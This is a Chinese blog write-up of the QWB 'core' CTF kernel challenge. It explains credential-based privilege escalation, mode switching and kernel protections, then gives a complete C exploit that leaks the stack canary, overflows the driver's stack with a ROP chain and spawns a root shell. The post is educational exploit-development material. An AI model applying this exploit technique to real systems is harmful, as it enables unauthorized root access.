kernel pwn: ROP

早就该学习kernel pwn,否则得被时代抛弃了。先从简单的入手吧,复现几道以前的ROP赛题目前只找到强网杯的题目,顺便从中学习一点kernel的基础知识。

相关知识

Kernel提权

目前看到的主要是通过一下调用进行提权(应该还有更复杂的提权方法):

1
commit_creds(prepare_kernel_cred(0));

其中perpare_kernel_cred函数的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/**
* prepare_kernel_cred - Prepare a set of credentials for a kernel service
* @daemon: A userspace daemon to be used as a reference
*
* Prepare a set of credentials for a kernel service. This can then be used to
* override a task's own credentials so that work can be done on behalf of that
* task that requires a different subjective context.
*
* @daemon is used to provide a base for the security record, but can be NULL.
* If @daemon is supplied, then the security data will be derived from that;
* otherwise they'll be set to 0 and no groups, full capabilities and no keys.
*
* The caller may change these controls afterwards if desired.
*
* Returns the new credentials or NULL if out of memory.
*
* Does not take, and does not return holding current->cred_replace_mutex.
*/
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);

validate_creds(old);

*new = *old;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);

#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif

#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;

put_cred(old);
validate_creds(new);
return new;

error:
put_cred(new);
put_cred(old);
return NULL;
}

注释中已经把函数功能描述得很具体了,简单来说,这个函数主要是生成一个cred结构体,主要根据传入的参数struct task_struct *daemon来确定一些内核服务的credentials,以便于给当前task提供在特定的context执行的权限。

在参数为NULL的情况下,也其实就是理解为把0号进程的task_struct作为参数的情况下,返回一个相应的cred结构体,这个结构体具有最高的root权限。
commit_creds函数定义为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/**
* commit_creds - Install new credentials upon the current task
* @new: The credentials to be assigned
*
* Install a new set of credentials to the current task, using RCU to replace
* the old set. Both the objective and the subjective credentials pointers are
* updated. This function may not be called if the subjective credentials are
* in an overridden state.
*
* This function eats the caller's reference to the new credentials.
*
* Always returns 0 thus allowing this function to be tail-called at the end
* of, say, sys_setgid().
*/
int commit_creds(struct cred *new)
{
struct task_struct *task = current;
const struct cred *old = task->real_cred;

kdebug("commit_creds(%p{%d,%d})", new,
atomic_read(&new->usage),
read_cred_subscribers(new));

BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
BUG_ON(read_cred_subscribers(old) < 2);
validate_creds(old);
validate_creds(new);
#endif
BUG_ON(atomic_read(&new->usage) < 1);

get_cred(new); /* we will require a ref for the subj creds too */

/* dumpability changes */
if (!uid_eq(old->euid, new->euid) ||
!gid_eq(old->egid, new->egid) ||
!uid_eq(old->fsuid, new->fsuid) ||
!gid_eq(old->fsgid, new->fsgid) ||
!cred_cap_issubset(old, new)) {
if (task->mm)
set_dumpable(task->mm, suid_dumpable);
task->pdeath_signal = 0;
smp_wmb();
}

/* alter the thread keyring */
if (!uid_eq(new->fsuid, old->fsuid))
key_fsuid_changed(task);
if (!gid_eq(new->fsgid, old->fsgid))
key_fsgid_changed(task);

/* do it
* RLIMIT_NPROC limits on user->processes have already been checked
* in set_user().
*/
alter_cred_subscribers(new, 2);
if (new->user != old->user)
atomic_inc(&new->user->processes);
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
if (new->user != old->user)
atomic_dec(&old->user->processes);
alter_cred_subscribers(old, -2);

/* send notifications */
if (!uid_eq(new->uid, old->uid) ||
!uid_eq(new->euid, old->euid) ||
!uid_eq(new->suid, old->suid) ||
!uid_eq(new->fsuid, old->fsuid))
proc_id_connector(task, PROC_EVENT_UID);

if (!gid_eq(new->gid, old->gid) ||
!gid_eq(new->egid, old->egid) ||
!gid_eq(new->sgid, old->sgid) ||
!gid_eq(new->fsgid, old->fsgid))
proc_id_connector(task, PROC_EVENT_GID);

/* release the old obj and subj refs both */
put_cred(old);
put_cred(old);
return 0;
}

从注释里也可以看到,这个函数的功能就是给当前task写入新的cred的结构体,从而改变了当前task的权限。

配合通过prepare_kernel_cred(0)得到的root权限的cred结构体,从而赋予当前task同样的root权限,这样就完成了提权。

状态切换

我们知道当进行一些系统调用,或者产生某些异常,或发生外部中断的时候,需要从用户态切换到内核态,再去执行一些内核的相关操作。而从内核态执行返回的时候,同样需要切换回用户态再去执行用户代码。

而具体的切换的过程为:

  1. 从用户态到内核态:
    1. 通过swapgs切换GS段寄存器,将GS寄存器值和一个特定位置的值进行交换,目的是保存GS值,同时将该位置的值作为内核执行时的GS值使用
    2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
    3. 通过push保存各寄存器值:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      ENTRY(entry_SYSCALL_64)
      /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
      SWAPGS_UNSAFE_STACK

      /* 保存栈值,并设置内核栈 */
      movq %rsp, PER_CPU_VAR(rsp_scratch)
      movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp


      /* 通过push保存寄存器值,形成一个pt_regs结构 */
      /* Construct struct pt_regs on stack */
      pushq $__USER_DS /* pt_regs->ss */
      pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
      pushq %r11 /* pt_regs->flags */
      pushq $__USER_CS /* pt_regs->cs */
      pushq %rcx /* pt_regs->ip */
      pushq %rax /* pt_regs->orig_ax */
      pushq %rdi /* pt_regs->di */
      pushq %rsi /* pt_regs->si */
      pushq %rdx /* pt_regs->dx */
      pushq %rcx tuichu /* pt_regs->cx */
      pushq $-ENOSYS /* pt_regs->ax */
      pushq %r8 /* pt_regs->r8 */
      pushq %r9 /* pt_regs->r9 */
      pushq %r10 /* pt_regs->r10 */
      pushq %r11 /* pt_regs->r11 */
      sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
      1. 通过汇编指令判断是否为x32_abi
      2. 通过系统调用号,跳到全局变量sys_call_table相应位置继续执行系统调用。
  2. 从内核态到用户态
    1. 通过swapgs恢复GS
    2. 通过sysretq或者iretq恢复到用户控件继续执行。如果使用iretq还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp)等。

      ioctl

      ioctl也是一个系统调用,用于与设备通信,函数调用的原型是:
      1
      int ioctl(int fd, unsigned long request, ...);
      功能就是打开fd设备,根据request查找相应设备定义的功能,后面就是根据设备功能的具体定义传递相应的参数。
      至于可以调用的功能,在设备模块中,有相应的ioctl功能定义。

文件分析

一般来说,对于一个kernel pwn的题目,通常给以下文件:

1
2
3
4
boot.sh: 一个用于启动kernel的shell的脚本,多用qemu,保护措施与qemu不同的启动参数有关
bzImage: kernel binary
rootfs.cpio: 文件系统映像
vmlinux: 类比成linux pwn中的libc文件(有时不一定提供)

对于所给文件的进行分析:

  1. 解包文件系统映像(以core.cpio举例):
    1
    2
    3
    4
    5
    6
    7
    8
    mkdir core # 创建目录core
    mv core.cpio ./core/core.cpio.gz # 重命名core.cpio为core.cpio.gz从而进行后续解压操作
    gunzip core.cpio.gz # 解包得到core.cpio(ASCII cpio archive)
    cpio -idmv < core.cpio # cpio为归档工具,"i", "d", "m", "v"参数分别表示:
    # -i: (extract)指定运行为copy-in模式,即目录拷贝模式
    # -d: 在需要的地方创建目录
    # -m: 保留文件原始的修改时间
    # -v: 在屏幕上打印出相关信息
  2. 解包后的重要文件(以强网杯core为例):
    1
    2
    3
    4
    5
    core.ko # 含有漏洞的目标驱动文件(一般来说都会提供一个含有漏洞的模块)
    gen_cpio.sh # 用来打包的脚本,将解包出的文件重新打包为core.cpio
    # shell脚本内容是:find . -print0 | cpio --null -ov --format=newc | gzip -9 > $1
    # 其他题目不一定给,需要自己写
    init # kernel启动的初始化文件

保护机制

  1. smep: Supervisor Mode Execution Protection,当处理器处于ring 0模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)
  2. smap: Superivisor Mode Access Protection,类似于smep,当处理器处于ring 0模式,访问用户空间的数据会触发页错误。
  3. MMAP_MIN_ADDR:控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据。
  4. kalsr:Kernel Address Space Layout Randomization(内核地址空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。

调试

一般在启动脚本start.sh中,添加以下内容:

1
-gdb tcp:port

或者:

1
-s # "-gdb tcp:1234"的简写

强网杯kernel pwn core复现

题目分析

查看驱动模块core.ko的保护,这里显示No PIE是错误的,实际上开了PIE:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

start.sh中可以看到开了kaslr,但是没开smep:

1
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"

ioctl提供了三个功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rbx

v3 = a3;
switch ( (_DWORD)a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD, a3);
off = v3;
break;
case 0x6677889A:
printk(&unk_2B3, a2);
core_copy_func(v3);
break;
}
return 0LL;
}
  1. 0x6677889B功能调用core_read,从内核栈&v6+off开始的位置读取0x40 bytes的数据写入到用户空间中:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2)
    {
    __int64 v2; // rbx
    __int64 *v3; // rdi
    __int64 i; // rcx
    unsigned __int64 result; // rax
    __int64 v6; // [rsp+0h] [rbp-50h]
    unsigned __int64 v7; // [rsp+40h] [rbp-10h]

    v2 = a1;
    v7 = __readgsqword(0x28u);
    printk(&unk_25B, a2);
    printk(&unk_275, off);
    v3 = &v6;
    for ( i = 16LL; i; --i )
    {
    *(_DWORD *)v3 = 0;
    v3 = (__int64 *)((char *)v3 + 4);
    }
    strcpy((char *)&v6, "Welcome to the QWB CTF challenge.\n");
    result = copy_to_user(v2, (char *)&v6 + off, 64LL);
    if ( !result )
    return __readgsqword(0x28u) ^ v7;
    __asm { swapgs }
    return result;
    }
  2. 0x6677889C功能,将off设置为传入的参数,也就是off是可控的:
  3. 0x6677889A功能,调用core_copy_funcname的字符串copy到栈上变量v3中,长度由用户态传入的参数控制。这里因为传入的a1参数是有符号的,因此可以通过传入负数绕过a1 > 63的check,而qmemcpy(&v3, &name, (unsigned __int16)a1);中长度是(unsigned __int16)a1),最大可为0xFFFF,从而存在栈溢出。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    _int64 __fastcall core_copy_func(__int64 a1, __int64 a2)
    {
    __int64 result; // rax
    __int64 v3; // [rsp+0h] [rbp-50h]
    unsigned __int64 v4; // [rsp+40h] [rbp-10h]

    v4 = __readgsqword(0x28u);
    printk(&unk_215, a2);
    if ( a1 > 63 )
    {
    printk(&unk_2A1, a2);
    result = 0xFFFFFFFFLL;
    }
    else
    {
    result = 0LL;
    qmemcpy(&v3, &name, (unsigned __int16)a1);
    }
    return result;
    }
    同时驱动模块提供core_write回调函数,接受用户态的输入储存到变量name中:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
    {
    unsigned __int64 v3; // rbx

    v3 = a3;
    printk(&unk_215, a2);
    if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
    printk(&unk_230, a2);
    return 0xFFFFFFF2LL;
    }

利用思路

  1. 首先在core.cpio解包出的文件init中,patch自动关机的命令poweroff -d 120 -f &poweroff -d 0 -f &再重新打包。
  2. 通过0x6677889C功能设置off为0x40,从而&v6+off的位置指向栈上的canary,再通过0x6677889B功能leak出canary以及PIE。
  3. 然后通过保存当前用户态的寄存器信息,在从内核态提权返回的时候用来恢复寄存器的信息。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
    __asm__("mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    );
    puts("[*] status has been saved.");
    }
  4. 之后通过write(fd, rop, 0x100)布置rop chain到name中去:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    +----------------+ 0
    | fill |
    ..................
    | fill |
    | fill |
    +----------------+ +0x40
    | canary |
    +----------------+
    | fill |
    +----------------+
    | priviledge | ==> commit_creds(perpare_kernel_cred(0));
    +----------------+
    | swapgs | ==> swapgs; pop rbp; ret;
    +----------------+
    | fill |
    +----------------+
    | iret | ==> iret
    +----------------+
    | getshell | ==> system("/bin/sh");
    +----------------+
    | user_cs |
    +----------------+
    | user_rflags |
    +----------------+
    | user_sp |
    +----------------+
    | user_ss |
    +----------------+
  5. 最后通过0x6677889A触发栈溢出,get root shell。
  6. 此外,因为commit_credsprepare_kernel_cred是内核函数,其地址存放在/proc/kallsyms中,但是非root用户在直接读取的时候是读不到地址数据的(全是0)。而注意到init中:
    1
    cat /proc/kallsyms > /tmp/kallsyms
    /proc/kallsyms拷贝到/tmp/kallsyms中去了从而可以读到函数地址,在执行poc的时候手动输入即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define COM_READ 0x6677889B
#define COM_OFF 0x6677889C
#define COM_WRITE 0x6677889A

size_t prepare_kernel_cred;
size_t commit_cred;

void GetAddr()
{
printf("[-] Input the address of prepare_kernel_cred: ");
scanf("%lx", &prepare_kernel_cred);
printf("[-] Input the address of commit_cred: ");
scanf("%lx", &commit_cred);
}

void priviledge_escalation()
{
void *(*pkc)(void *) = (void *)prepare_kernel_cred;
int (*cc)(void *) = (void *)commit_cred;

(*cc)((*pkc)(0));
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] status has been saved.");
}

void getshell()
{
if(getuid() == 0)
{
printf("[!] Root!\n");
system("/bin/sh");
}
else
{
printf("[!] Failed!\n");
}

}

int main(void)
{
unsigned char canary[101];
size_t rop[0x100];
size_t ret_addr, swapgs_addr, iret_addr;
int fd;
int i;

// get prepare_kernel_cred and commit_cred
GetAddr(&prepare_kernel_cred, &commit_cred);

fd = open("/proc/core", O_RDWR);

// leak canary
memset(canary, 101, 0);
ioctl(fd, COM_OFF, 0x40);
ioctl(fd, COM_READ, canary);
printf("[*] Read finished.\n");

// get ret_addr, iret_addr
ret_addr = *(size_t *)(canary + 0x10);
swapgs_addr = ret_addr - 0xc5;
iret_addr = prepare_kernel_cred - 311838;
printf("[+] ret_addr: %lx\n", ret_addr);
printf("[+] swapgs_addr: %lx\n", swapgs_addr);
printf("[+] iret_addr: %lx\n", iret_addr);

// save status
save_status();

// set name
for(i = 0; i < 8; i++)
{
rop[i] = 0xdeadbeefdeadbeef;
}
rop[i++] = *(size_t *)canary;
rop[i++] = 0xdeadbeefbeefdead;
rop[i++] = (size_t)&priviledge_escalation;
rop[i++] = swapgs_addr; // gadget swapgs_pop_rbp_ret;
rop[i++] = 0; // rbp;
rop[i++] = iret_addr;
rop[i++] = (size_t)&getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
printf("[*] Write finished.\n");

// write rop
ioctl(fd, COM_WRITE, 0xff00000000000100);

return 0;
}

编译命令:

1
gcc pwn_core.c -masm=intel -static -lutil -o pwn_core

小结

  • 总的来说这还是一道比较简单的题,ROP的利用思路也看起来相对简单,有些保护比如smep没开导致可以直接在内核态执行用户代码,所以布置rop相对轻松。
  • 做kernel pwn rop的基本思路基本可以从这道题中了解了,主要是通过各种方法提权然后返回用户态开shell,尽管方式各异。
  • 复现core算是开了一个小头,最近看了有一定数量的kernel pwn的分析文章了,但是很多都是看看而已还没动手复现过,只是留了个印象方便之后复现的时候过于生疏。
  • 总之kernel pwn还是需要一些kernel的知识的,要学的东西还很多,慢慢学吧。

参考链接

  1. https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/basic_knowledge-zh/#ioctl
  2. https://www.anquanke.com/post/id/201043
  3. https://www.anquanke.com/post/id/172216
  4. https://www.jianshu.com/p/8d950a9d8974
Author: Nop
Link: https://n0nop.com/2020/05/06/kernel-pwn-ROP/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.